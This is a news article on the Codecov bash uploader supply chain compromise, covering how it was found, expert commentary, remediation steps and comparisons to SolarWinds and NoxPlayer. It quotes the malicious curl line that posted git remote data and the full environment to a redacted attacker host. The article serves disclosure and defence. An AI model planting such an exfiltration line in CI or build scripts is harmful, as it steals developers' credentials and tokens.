Backdoored developer tool that stole credentials escaped notice for 3 months
A publicly available software development tool contained malicious code that stole the authentication credentials that apps need to access sensitive resources. It’s the latest revelation of a supply chain attack that has the potential to backdoor the networks of countless organizations.
The Codecov bash uploader contained the backdoor from late January to the beginning of April, developers of the tool said on Thursday. The backdoor caused developer computers to send secret authentication tokens and other sensitive data to a remote site controlled by the hackers. The uploader works with development platforms including Github Actions, CircleCI, and Bitrise Step, all of which support having such secret authentication tokens in the development environment.
A pile of AWS and other cloud credentials
The Codecov bash uploader performs what is known as code coverage for large-scale software development projects. It allows developers to send coverage reports that, among other things, determine how much of a codebase has been tested by internal test scripts. Some development projects integrate Codecov and similar third-party services into their platforms, where there is free access to sensitive credentials that can be used to steal or modify source code.
Code similar to this single line first appeared on January 31:
curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” https:///upload/v2 || true
The code sends both the GitHub repository location and the entire process environment to the remote site, which has been redacted because Codecov says it’s part of an ongoing federal investigation. These types of environments typically store tokens, credentials, and other secrets for software in Amazon Web Services or GitHub.
Armed with these secrets, there’s no shortage of malicious things an attacker could do to development environments that relied on the tool, said HD Moore, a security expert and the CEO of network discovery platform Rumble.
“It really depends on what was in the environment, but from the point that attackers had access (via the bash uploader), they might have been able to plant backdoors on the systems where it ran,” he wrote in a direct message with Ars. “For GitHub/CircleCI, this would have mostly exposed source code and credentials.”
Moore continued:
The attackers likely ended up with a pile of AWS and other cloud credentials in addition to tokens that could give them access to private repositories, which includes source code but also all the other stuff that the token was authorized for. On the extreme end, these credentials would be self-perpetuating—the attackers use a stolen GitHub token to backdoor the source code, which then steals downstream customer data, etc. The same could apply to AWS and other cloud credentials. If the credentials allowed for it, they could enable infrastructure takeover, database access, file access, etc.
In Thursday’s advisory, Codecov said the malicious version of the bash uploader could access:
- Any credentials, tokens, or keys that our customers were passing through their CI (continuous integration) runner that would be accessible when the bash uploader script was executed
- Any services, datastores, and application code that could be accessed with these credentials, tokens, or keys
- The git remote information (URL of the origin repository) of repositories using the bash uploaders to upload coverage to Codecov in CI
“Based upon the forensic investigation results to date, it appears that there was periodic unauthorized access to a Google Cloud Storage (GCS) key beginning January 31, 2021, which allowed a malicious third-party to alter a version of our bash uploader script to potentially export information subject to continuous integration to a third-party server,” Codecov said. “Codecov secured and remediated the script April 1, 2021.”
The Codecov advisory said that a bug in Codecov’s Docker image-creation process allowed the hacker to extract the credential required to modify the bash uploader script.
The tampering was discovered on April 1 by a customer who noticed that the shasum that acts as a digital fingerprint to confirm the integrity of bash uploader didn’t match the shasum for the version downloaded from https://codecov.io/bash. The customer contacted Codecov, and the tool maker pulled the malicious version and started an investigation.
Codecov is urging anyone who used the bash updater during the affected period to revoke all credentials, tokens, or keys located in CI processes and create new ones. Developers can determine what keys and tokens are stored in a CI environment by running the env command in the CI Pipeline. Anything sensitive should be considered compromised.
Additionally, anyone who uses a locally stored version of the bash uploader should check it for the following:
Curl -sm 0.5 -d “$(git remote -v)
If this commands appear anywhere in a locally stored bash uploader, users should immediately replace the uploader with the most recent version from https://codecov.io/bash.
Codecov said that developers using a self-hosted version of bash update are unlikely to be affected. “To be impacted, your CI pipeline would need to be fetching the bash uploader from https://codecov.io/bash instead of from your self-hosted Codecov installation. You can verify from where you are fetching the bash uploader by looking at your CI pipeline configuration,” the company said.
The appeal of supply chain attacks
The compromise of Codecov’s software development and distribution system is the latest supply chain attack to come to light. In December, a similar compromise hit SolarWinds, the Austin, Texas maker of network management tools used by about 300,000 organizations around the world, including Fortune 500 companies and government agencies.
The hackers who carried out the breach then distributed a backdoored update that was downloaded by about 18,000 customers. About 10 US federal agencies and 100 private companies eventually received follow-on payloads that sent sensitive information to attacker-controlled servers. FireEye, Microsoft, Mimecast, and Malwarebytes were all swept up in the campaign.
More recently, hackers carried out a software supply chain attack that was used to install surveillance malware on the computers of people using NoxPlayer, a software package that emulates the Android operating system on PCs and Macs, mainly so users can play mobile games on those platforms. A backdoored version of NoxPlayer was available for five months, researchers from ESET said.
The appeal of supply chain attacks to hackers is their breadth and effectiveness. By compromising a single player high in the software supply, hackers can potentially infect any person or organization who uses the compromised product. Another feature that hackers find beneficial: there’s often little or nothing targets can do to detect malicious software distributed this way because digital signatures will indicate that it’s legitimate.
In the case of the backdoored bash update version, however, it would have been easy for Codecov or any of its customers to detect the malice by doing nothing more than checking the shasum. The ability for the malicious version to escape notice for three months indicates that no one bothered to perform this simple check.
People who have used the bash updater between January 31 and April 1 should carefully inspect their development builds for signs of compromise by following the steps outlined in Thursday’s advisory.